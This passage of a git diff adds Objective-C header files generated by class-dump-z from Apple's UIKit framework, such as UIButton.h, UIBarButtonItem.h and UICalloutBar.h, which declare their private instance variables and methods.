+-(id)correctionShadowView; +-(CGRect)_calculateRectForExpandedHitRegion; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(void)dismiss; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)_candidateSelected:(id)selected; +-(unsigned)index; +-(unsigned)numberOfShownItems; +-(void)setSelectedItem:(unsigned)item; +-(BOOL)prepareForAnimation:(CGRect)animation; +-(BOOL)needsWebDocumentViewEventsDirectly; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutocorrectShadowView.h b/igor/headers/dumpedUIKit/UIAutocorrectShadowView.h new file mode 100644 index 0000000..932afe0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutocorrectShadowView.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIAutocorrectShadowView : UIView { +@private + int m_edgeType; +} +-(void)setEdgeType:(int)type; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutocorrectStringView.h b/igor/headers/dumpedUIKit/UIAutocorrectStringView.h new file mode 100644 index 0000000..1c5a230 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutocorrectStringView.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UIFont; + +__attribute__((visibility("hidden"))) +@interface UIAutocorrectStringView : UIView { +@private + NSString* m_string; + UIFont* m_font; +} +-(id)initWithFrame:(CGRect)frame string:(id)string font:(id)font; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutocorrectTextView.h b/igor/headers/dumpedUIKit/UIAutocorrectTextView.h new file mode 100644 index 0000000..fbb7149 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutocorrectTextView.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UIFont; + +__attribute__((visibility("hidden"))) +@interface UIAutocorrectTextView : UIView { +@private + NSString* m_string; + int m_type; + int m_edgeType; + UIFont* m_textFont; + BOOL m_animating; +} +-(id)initWithFrame:(CGRect)frame string:(id)string type:(int)type edgeType:(int)type4; +-(void)dealloc; +-(void)setEdgeType:(int)type; +-(void)setAnimating:(BOOL)animating; +-(void)drawRect:(CGRect)rect; +-(BOOL)needsWebDocumentViewEventsDirectly; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutoscroll.h b/igor/headers/dumpedUIKit/UIAutoscroll.h new file mode 100644 index 0000000..1647775 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutoscroll.h @@ -0,0 +1,38 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSTimer, UIView; +@protocol UIAutoscrollContainer; + +__attribute__((visibility("hidden"))) +@interface UIAutoscroll : NSObject { +@private + id m_target; + CGPoint m_point; + UIView* m_scrollContainer; + int m_directions; + double m_repeatInterval; + NSTimer* m_timer; + int m_count; + BOOL m_active; +} +@property(retain, nonatomic) id target; +@property(retain, nonatomic) UIView* scrollContainer; +@property(assign, nonatomic) CGPoint point; +@property(assign, nonatomic) int directions; +@property(assign, nonatomic) double repeatInterval; +@property(assign, nonatomic) int count; +@property(assign, nonatomic) BOOL active; +-(void)dealloc; +-(BOOL)startAutoscroll:(id)autoscroll scrollContainer:(id)container point:(CGPoint)point directions:(int)directions repeatInterval:(double)interval; +-(void)invalidate; +-(void)timerFired:(id)fired; +@end + diff --git a/igor/headers/dumpedUIKit/UIAutoscrollContainer.h b/igor/headers/dumpedUIKit/UIAutoscrollContainer.h new file mode 100644 index 0000000..7a78e69 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIAutoscrollContainer.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" + + +@protocol UIAutoscrollContainer +@property(assign, nonatomic) CGPoint autoscrollContentOffset; +-(CGRect)contentFrameForView:(id)view; +@end + diff --git a/igor/headers/dumpedUIKit/UIBarButtonItem.h b/igor/headers/dumpedUIKit/UIBarButtonItem.h new file mode 100644 index 0000000..a53f6bb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIBarButtonItem.h @@ -0,0 +1,88 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIBarButtonItem.h" +#import "UIBarItem.h" + +@class UIView, UIToolbarButton, UIImage, NSString, NSSet; + +@interface UIBarButtonItem : UIBarItem { +@private + NSString* _title; + NSSet* _possibleTitles; + SEL _action; + id _target; + UIImage* _image; + UIEdgeInsets _imageInsets; + float _width; + UIView* _view; + int _tag; + struct { + unsigned enabled : 1; + unsigned style : 3; + unsigned isSystemItem : 1; + unsigned systemItem : 7; + unsigned viewIsCustom : 1; + unsigned isMinibarView : 1; + } _barButtonItemFlags; +} +@property(assign, nonatomic) SEL action; +@property(assign, nonatomic) id target; +@property(assign, nonatomic) int tag; +@property(retain, nonatomic) UIView* customView; +@property(copy, nonatomic) NSSet* possibleTitles; +@property(assign, nonatomic) float width; +@property(assign, nonatomic) int style; +-(id)init; +-(id)initWithImage:(id)image style:(int)style target:(id)target action:(SEL)action; +-(id)initWithTitle:(id)title style:(int)style target:(id)target action:(SEL)action; +-(id)initWithBarButtonSystemItem:(int)barButtonSystemItem target:(id)target action:(SEL)action; +-(id)initWithCustomView:(id)customView; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)isEnabled; +-(void)setTitle:(id)title; +-(id)title; +-(void)setImage:(id)image; +-(id)image; +-(void)setImageInsets:(UIEdgeInsets)insets; +-(UIEdgeInsets)imageInsets; +@end + +@interface UIBarButtonItem (SynthEvents) +-(id)scriptingID; +@end + +@interface UIBarButtonItem (Static) ++(Class)classForNavigationButton; +-(void)_getSystemItemStyle:(int*)style title:(id*)title image:(id*)image selectedImage:(id*)image4 action:(SEL*)action forBarStyle:(int)barStyle landscape:(BOOL)landscape alwaysBordered:(BOOL)bordered; +-(void)_getNavBarEdgeSizeAdjust:(CGSize*)adjust imageInsets:(UIEdgeInsets*)insets landscape:(BOOL)landscape; +-(void)_getToolbarEdgeInsets:(UIEdgeInsets*)insets imageInsets:(UIEdgeInsets*)insets2 glowInsets:(UIEdgeInsets*)insets3 forBarStyle:(int)barStyle landscape:(BOOL)landscape alwaysBordered:(BOOL)bordered; +-(id)createViewForNavigationItem:(id)navigationItem; +-(id)createViewForToolbar:(id)toolbar; +-(void)_updateView; +@end + +@interface UIBarButtonItem (Internal) +@property(readonly, assign, nonatomic) int systemItem; +@property(readonly, assign, nonatomic) BOOL isSystemItem; +@property(readonly, assign, nonatomic) BOOL isCustomViewItem; +@property(retain, nonatomic) UIView* view; +-(id)nextResponder; +-(BOOL)isMinibarView; +-(void)setIsMinibarView:(BOOL)view; +-(void)_sendAction:(id)action withEvent:(id)event; +@end + +@interface UIBarButtonItem (UIBarButtonItemPrivate) +@property(readonly, assign, nonatomic) UIToolbarButton* _toolbarButton; +@property(assign, nonatomic, getter=isEnabled) BOOL enabled; +@end + diff --git a/igor/headers/dumpedUIKit/UIBarButtonItemProxy.h b/igor/headers/dumpedUIKit/UIBarButtonItemProxy.h new file mode 100644 index 0000000..89738ed --- /dev/null +++ b/igor/headers/dumpedUIKit/UIBarButtonItemProxy.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIBarButtonItem, UIImageView; + +__attribute__((visibility("hidden"))) +@interface UIBarButtonItemProxy : NSObject { +@private + UIBarButtonItem* _item; + UIImageView* _view; +} +-(id)initWithItem:(id)item inToolbar:(id)toolbar; +-(void)dealloc; +-(id)item; +-(id)view; +@end + diff --git a/igor/headers/dumpedUIKit/UIBarItem.h b/igor/headers/dumpedUIKit/UIBarItem.h new file mode 100644 index 0000000..f4ab3bd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIBarItem.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class NSString, UIImage; + +@interface UIBarItem : NSObject { +} +@property(assign, nonatomic, getter=isEnabled) BOOL enabled; +@property(copy, nonatomic) NSString* title; +@property(retain, nonatomic) UIImage* image; +@property(assign, nonatomic) UIEdgeInsets imageInsets; +@property(assign, nonatomic) int tag; +@end + diff --git a/igor/headers/dumpedUIKit/UIBezierPath.h b/igor/headers/dumpedUIKit/UIBezierPath.h new file mode 100644 index 0000000..dff71c7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIBezierPath.h @@ -0,0 +1,50 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UIBezierPath.h" + + +@interface UIBezierPath : NSObject { + CGPathRef _pathRef; + float _width; +} ++(id)bezierPath; ++(id)bezierPathForBottomOfRect:(CGRect)rect withCornerRadius:(float)cornerRadius; ++(id)bezierPathForTopOfRect:(CGRect)rect withCornerRadius:(float)cornerRadius; ++(id)bezierPathKnockingOutTopOfRect:(CGRect)rect withCornerRadius:(float)cornerRadius; ++(id)bezierPathKnockingOutBottomOfRect:(CGRect)rect withCornerRadius:(float)cornerRadius; ++(id)roundedRectBezierPath:(CGRect)path withRoundedEdges:(int)roundedEdges; ++(id)roundedRectBezierPath:(CGRect)path withRoundedCorners:(int)roundedCorners withCornerRadius:(float)cornerRadius; ++(id)roundedRectBezierPath:(CGRect)path withRoundedCorners:(int)roundedCorners withCornerRadii:(id)cornerRadii; ++(id)roundedRectBezierPath:(CGRect)path withRoundedCorners:(int)roundedCorners visibleEdges:(int)edges cornerRadius:(float)radius; +-(id)init; +-(void)dealloc; +-(void)moveToPoint:(CGPoint)point; +-(void)lineToPoint:(CGPoint)point; +-(void)appendBezierPath:(id)path; +-(void)appendBezierPathWithRect:(CGRect)rect; +-(void)appendBezierPathWithOvalInRect:(CGRect)rect; +-(void)appendBezierPathWithOvalInRect:(CGRect)rect transform:(CGAffineTransform)transform; +-(void)closePath; +-(void)appendBezierPathWithArcWithCenter:(CGPoint)center radius:(float)radius startAngle:(float)angle endAngle:(float)angle4 clockwise:(BOOL)clockwise; +-(void)setLineWidth:(float)width; +-(void)fill; +-(void)stroke; +-(void)clip; +@end + +@interface UIBezierPath (UIInternal) ++(id)roundedRectBezierPath:(CGRect)path withTopCornerRadius:(float)topCornerRadius withBottomCornerRadius:(float)bottomCornerRadius; +-(CGPathRef)_pathRef; +@end + +@interface UIBezierPath (UIAutocorrectShadow) ++(id)shadowBezierPath:(CGRect)path withRoundedEdges:(int)roundedEdges; +@end + diff --git a/igor/headers/dumpedUIKit/UIButton.h b/igor/headers/dumpedUIKit/UIButton.h new file mode 100644 index 0000000..b6723cb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIButton.h @@ -0,0 +1,143 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIButton.h" +#import "UIControl.h" + +@class UIFont, NSString, UILabel, UIImage, UIImageView, UIColor; + +@interface UIButton : UIControl { +@private + CFDictionaryRef _contentLookup; + UIEdgeInsets _contentEdgeInsets; + UIEdgeInsets _titleEdgeInsets; + UIEdgeInsets _imageEdgeInsets; + UIImageView* _backgroundView; + UIImageView* _imageView; + UILabel* _titleView; + struct { + unsigned reversesTitleShadowWhenHighlighted : 1; + unsigned adjustsImageWhenHighlighted : 1; + unsigned adjustsImageWhenDisabled : 1; + unsigned autosizeToFit : 1; + unsigned disabledDimsImage : 1; + unsigned showsTouchWhenHighlighted : 1; + unsigned buttonType : 8; + unsigned shouldHandleScrollerMouseEvent : 1; + } _buttonFlags; +} +@property(assign, nonatomic) UIEdgeInsets contentEdgeInsets; +@property(assign, nonatomic) UIEdgeInsets titleEdgeInsets; +@property(assign, nonatomic) BOOL reversesTitleShadowWhenHighlighted; +@property(assign, nonatomic) BOOL adjustsImageWhenHighlighted; +@property(assign, nonatomic) BOOL adjustsImageWhenDisabled; +@property(assign, nonatomic) UIEdgeInsets imageEdgeInsets; +@property(readonly, retain, nonatomic) UIImageView* imageView; +@property(readonly, retain, nonatomic) UILabel* titleLabel; +@property(readonly, retain, nonatomic) UIImage* currentBackgroundImage; +@property(readonly, retain, nonatomic) UIImage* currentImage; +@property(readonly, retain, nonatomic) UIColor* currentTitleShadowColor; +@property(readonly, retain, nonatomic) UIColor* currentTitleColor; +@property(readonly, retain, nonatomic) NSString* currentTitle; +@property(readonly, assign, nonatomic) int buttonType; +@property(assign, nonatomic) BOOL showsTouchWhenHighlighted; ++(id)_defaultContentForType:(int)type andState:(unsigned)state; ++(id)buttonWithType:(int)type; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)setSelected:(BOOL)selected; +-(void)setEnabled:(BOOL)enabled; +-(void)setHighlighted:(BOOL)highlighted; +-(void)setContentHorizontalAlignment:(int)alignment; +-(void)setTitle:(id)title forState:(unsigned)state; +-(void)setTitleColor:(id)color forState:(unsigned)state; +-(void)setTitleShadowColor:(id)color forState:(unsigned)state; +-(void)setImage:(id)image forState:(unsigned)state; +-(void)setBackgroundImage:(id)image forState:(unsigned)state; +-(id)titleForState:(unsigned)state; +-(id)titleColorForState:(unsigned)state; +-(id)titleShadowColorForState:(unsigned)state; +-(id)imageForState:(unsigned)state; +-(id)backgroundImageForState:(unsigned)state; +-(CGRect)backgroundRectForBounds:(CGRect)bounds; +-(CGRect)contentRectForBounds:(CGRect)bounds; +-(CGRect)titleRectForContentRect:(CGRect)contentRect; +-(CGRect)imageRectForContentRect:(CGRect)contentRect; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)layoutSubviews; +@end + +@interface UIButton (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UIButton (UIButtonContentLookup) +-(void)_setContent:(id)content forState:(unsigned)state; +-(void)_setImage:(id)image forStates:(unsigned)states; +-(void)_setBackground:(id)background forStates:(unsigned)states; +-(void)_setTitle:(id)title forStates:(unsigned)states; +-(void)_setTitleColor:(id)color forStates:(unsigned)states; +-(void)_setShadowColor:(id)color forStates:(unsigned)states; +-(id)_contentForState:(unsigned)state; +-(id)_archivableContent:(id*)content; +-(void)_takeContentFromArchivableContent:(id)archivableContent overrides:(id)overrides; +-(id)_imageForState:(unsigned)state usesImageForNormalState:(BOOL*)normalState; +-(id)_backgroundForState:(unsigned)state usesBackgroundForNormalState:(BOOL*)normalState; +-(id)_titleForState:(unsigned)state; +-(id)_titleColorForState:(unsigned)state; +-(id)_shadowColorForState:(unsigned)state; +@end + +@interface UIButton (UIButtonPrivate) +@property(retain, nonatomic) UIColor* tintColor; +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(void)_setShouldHandleScrollerMouseEvent:(BOOL)_set; +-(void)setAutosizesToFit:(BOOL)fit; +-(BOOL)autosizesToFit; +-(void)setDisabledDimsImage:(BOOL)image; +-(void)setShowPressFeedback:(BOOL)feedback; +-(CGPoint)pressFeedbackPosition; +-(void)setTitle:(id)title forStates:(unsigned)states; +-(void)setTitleColor:(id)color forStates:(unsigned)states; +-(void)setTitleShadowColor:(id)color forStates:(unsigned)states; +-(void)setImage:(id)image forStates:(unsigned)states; +-(void)setBackgroundImage:(id)image forStates:(unsigned)states; +-(id)_font; +-(void)_setFont:(id)font; +-(int)_lineBreakMode; +-(void)_setLineBreakMode:(int)mode; +-(CGSize)_titleShadowOffset; +-(void)_setTitleShadowOffset:(CGSize)offset; +@end + +@interface UIButton (UIButtonInternal) +-(void)_setupBackgroundView; +-(void)_setupImageView; +-(void)_setupTitleView; +-(void)_setButtonType:(int)type; +-(void)_titleAttributesChanged; +@end + +@interface UIButton (UIButtonDeprecated) +@property(assign, nonatomic) CGSize titleShadowOffset; +@property(assign, nonatomic) int lineBreakMode; +@property(retain, nonatomic) UIFont* font; +@end + +@interface UIButton (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(unsigned long long)defaultAccessibilityTraits; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIButtonBarBadgeBackground.h b/igor/headers/dumpedUIKit/UIButtonBarBadgeBackground.h new file mode 100644 index 0000000..6719b68 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIButtonBarBadgeBackground.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIButtonBarBadgeBackground : UIView { +@private + UIImage* _image; +} +-(id)initWithImage:(id)image; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIButtonBarCustomizeView.h b/igor/headers/dumpedUIKit/UIButtonBarCustomizeView.h new file mode 100644 index 0000000..9f5db20 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIButtonBarCustomizeView.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIImageView, NSArray, NSMutableArray, UIToolbar; + +__attribute__((visibility("hidden"))) +@interface UIButtonBarCustomizeView : UIView { +@private + UIToolbar* _buttonBar; + NSArray* _availableButtons; + NSArray* _currentButtons; + NSMutableArray* _fixedButtons; + UIView* _draggingView; + UIImageView* _ghostView; + UIImageView* _replacementGlow; + UIView* _replaceButton; + CGPoint _startPoint; +} +-(void)dealloc; +-(void)setButtonBar:(id)bar currentButtons:(id)buttons availableButtons:(id)buttons3; +-(void)layoutSubviews; +-(void)adjustDragImage:(GSEventRef)image; +-(void)mouseDown:(GSEventRef)down; +-(id)buttonAtEvent:(GSEventRef)event; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(BOOL)canHandleSwipes; +-(void)buttonBarMouseDown:(GSEventRef)down; +-(void)buttonBarMouseDragged:(GSEventRef)dragged; +-(void)buttonBarMouseUp:(GSEventRef)up; +-(void)_finishCustomizeMouseUpChangeAnimation:(id)animation finished:(id)finished context:(id)context; +@end + diff --git a/igor/headers/dumpedUIKit/UIButtonContent.h b/igor/headers/dumpedUIKit/UIButtonContent.h new file mode 100644 index 0000000..a57a791 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIButtonContent.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSCopying.h" +#import +#import "NSCoding.h" +#import "UIKit-Structs.h" + +@class UIColor, NSString, UIImage; + +__attribute__((visibility("hidden"))) +@interface UIButtonContent : NSObject { +@private + NSString* title; + UIImage* image; + UIImage* background; + UIColor* titleColor; + UIColor* shadowColor; +} +@property(retain, nonatomic) NSString* title; +@property(retain, nonatomic) UIImage* image; +@property(retain, nonatomic) UIImage* background; +@property(retain, nonatomic) UIColor* titleColor; +@property(retain, nonatomic) UIColor* shadowColor; +@property(readonly, assign, nonatomic) BOOL isEmpty; +-(id)copyWithZone:(NSZone*)zone; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIButtonLabel.h b/igor/headers/dumpedUIKit/UIButtonLabel.h new file mode 100644 index 0000000..f5a35a3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIButtonLabel.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILabel.h" + + +__attribute__((visibility("hidden"))) +@interface UIButtonLabel : UILabel { +@private + BOOL _reverseShadow; +} +-(void)setFont:(id)font; +-(void)setLineBreakMode:(int)mode; +-(void)setShadowOffset:(CGSize)offset; +-(CGSize)shadowOffset; +-(void)setReverseShadow:(BOOL)shadow; +@end + diff --git a/igor/headers/dumpedUIKit/UICFFont.h b/igor/headers/dumpedUIKit/UICFFont.h new file mode 100644 index 0000000..ba0eb85 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICFFont.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIFont.h" + + +__attribute__((visibility("hidden"))) +@interface UICFFont : UIFont { +} +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(id)retain; +-(oneway void)release; +-(unsigned)retainCount; +-(void)finalize; +@end + diff --git a/igor/headers/dumpedUIKit/UICGColor.h b/igor/headers/dumpedUIKit/UICGColor.h new file mode 100644 index 0000000..73d1b45 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICGColor.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIColor.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UICGColor : UIColor { +@private + CGColorRef cachedColor; +} +-(id)initWithCGColor:(CGColorRef)cgcolor; +-(void)dealloc; +-(id)colorWithAlphaComponent:(float)alphaComponent; +-(void)set; +-(void)setFill; +-(void)setStroke; +-(id)colorSpaceName; +-(id)description; +-(BOOL)isEqual:(id)equal; +-(unsigned)hash; +-(CGColorRef)CGColor; +@end + diff --git a/igor/headers/dumpedUIKit/UICachedDeviceRGBColor.h b/igor/headers/dumpedUIKit/UICachedDeviceRGBColor.h new file mode 100644 index 0000000..d0fe5e5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UICachedDeviceRGBColor.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIDeviceRGBColor.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UICachedDeviceRGBColor : UIDeviceRGBColor { +} +-(void)release; +-(id)retain; +-(unsigned)retainCount; +-(id)autorelease; +-(id)copyWithZone:(NSZone*)zone; +-(id)copy; +-(void)dealloc; +-(void)finalize; +@end + diff --git a/igor/headers/dumpedUIKit/UICachedDeviceWhiteColor.h b/igor/headers/dumpedUIKit/UICachedDeviceWhiteColor.h new file mode 100644 index 0000000..d440abd --- /dev/null +++ b/igor/headers/dumpedUIKit/UICachedDeviceWhiteColor.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIDeviceWhiteColor.h" + + +__attribute__((visibility("hidden"))) +@interface UICachedDeviceWhiteColor : UIDeviceWhiteColor { +} +-(void)release; +-(id)retain; +-(unsigned)retainCount; +-(id)autorelease; +-(id)copyWithZone:(NSZone*)zone; +-(id)copy; +-(void)dealloc; +-(void)finalize; +@end + diff --git a/igor/headers/dumpedUIKit/UICalloutBar.h b/igor/headers/dumpedUIKit/UICalloutBar.h new file mode 100644 index 0000000..1761f4c --- /dev/null +++ b/igor/headers/dumpedUIKit/UICalloutBar.h @@ -0,0 +1,70 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSArray, NSMutableArray, UICalloutBarOverlay; + +@interface UICalloutBar : UIView { + id m_delegate; + CGPoint m_pointBelowControls; + CGPoint m_pointAboveControls; + BOOL m_pointPositionedBelowControls; + BOOL m_fadeAfterCommand; + BOOL m_updateVisibleItems; + BOOL m_shouldAppear; + CGRect m_controlFrame; + CGRect m_targetRect; + NSMutableArray* m_buttons; + NSMutableArray* m_rectsToEvade; + UICalloutBarOverlay* m_overlay; + double m_fadedTime; + id m_responderTarget; +} +@property(assign, nonatomic) CGPoint pointAboveControls; +@property(assign, nonatomic) CGPoint pointBelowControls; +@property(assign, nonatomic) BOOL pointPositionedBelowControls; +@property(assign, nonatomic) CGRect controlFrame; +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) NSArray* rectsToEvade; +@property(assign, nonatomic) CGRect targetRect; +@property(assign, nonatomic) UIResponder* responderTarget; +@property(readonly, assign, nonatomic) BOOL visible; ++(id)sharedCalloutBar; ++(BOOL)sharedCalloutBarIsVisible; ++(void)fadeSharedCalloutBar; ++(void)hideSharedCalloutBar; ++(BOOL)sharedCalloutBarWasRecentlyFaded; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)flattenForAlertOrResignActive:(id)alertOrResignActive; +-(void)expandAfterAlertOrBecomeActive:(id)active; +-(id)targetForAction:(SEL)action; +-(void)buttonPressed:(id)pressed; +-(void)removeFromSuperview; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(int)textEffectsVisibilityLevel; +-(BOOL)rectClear:(CGRect)clear; +-(BOOL)calculateControlFrameForPointBelowControls:(float)pointBelowControls; +-(BOOL)calculateControlFrameForPointAboveControls:(float)pointAboveControls; +-(BOOL)calculateControlFrameInsideTargetRect:(float)rect; +-(id)visibleButtons; +-(BOOL)positionIsValid; +-(BOOL)updateVisibleItems; +-(void)setTargetRect:(CGRect)rect pointBelowControls:(CGPoint)controls pointAboveControls:(CGPoint)controls3; +-(void)buttonHighlighted:(id)highlighted highlighted:(BOOL)highlighted2; +-(void)appear; +-(void)fade; +-(void)hide; +-(BOOL)recentlyFaded; +-(void)appearAnimationDidStop:(id)appearAnimation finished:(id)finished; +-(void)zoomDownAnimationDidStop:(id)zoomDownAnimation finished:(id)finished; +-(void)addRectToEvade:(CGRect)evade; +-(void)clearEvadeRects; +@end + diff --git a/igor/headers/dumpedUIKit/UICalloutBarButton.h b/igor/headers/dumpedUIKit/UICalloutBarButton.h new file mode 100644 index 0000000..22ada0f --- /dev/null +++ b/igor/headers/dumpedUIKit/UICalloutBarButton.h @@ -0,0 +1,50 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIButton.h" +#import "UIKit-Structs.h" + +@class NSTimer; + +__attribute__((visibility("hidden"))) +@interface UICalloutBarButton : UIButton { +@private + SEL m_action; + int m_position; + NSTimer* m_flashTimer; + float m_contentWidth; + float m_contentScale; + int m_flashCount; + BOOL m_isText; + BOOL m_configured; + BOOL m_single; +} +@property(readonly, assign, nonatomic) SEL action; +@property(readonly, assign, nonatomic) float contentWidth; +@property(readonly, assign, nonatomic) float contentScale; ++(id)buttonWithTitle:(id)title action:(SEL)action inView:(id)view; ++(id)buttonWithImage:(id)image action:(SEL)action inView:(id)view; +-(void)setupWithTitle:(id)title action:(SEL)action; +-(void)setupWithImage:(id)image action:(SEL)action; +-(void)dealloc; +-(void)configureLabel; 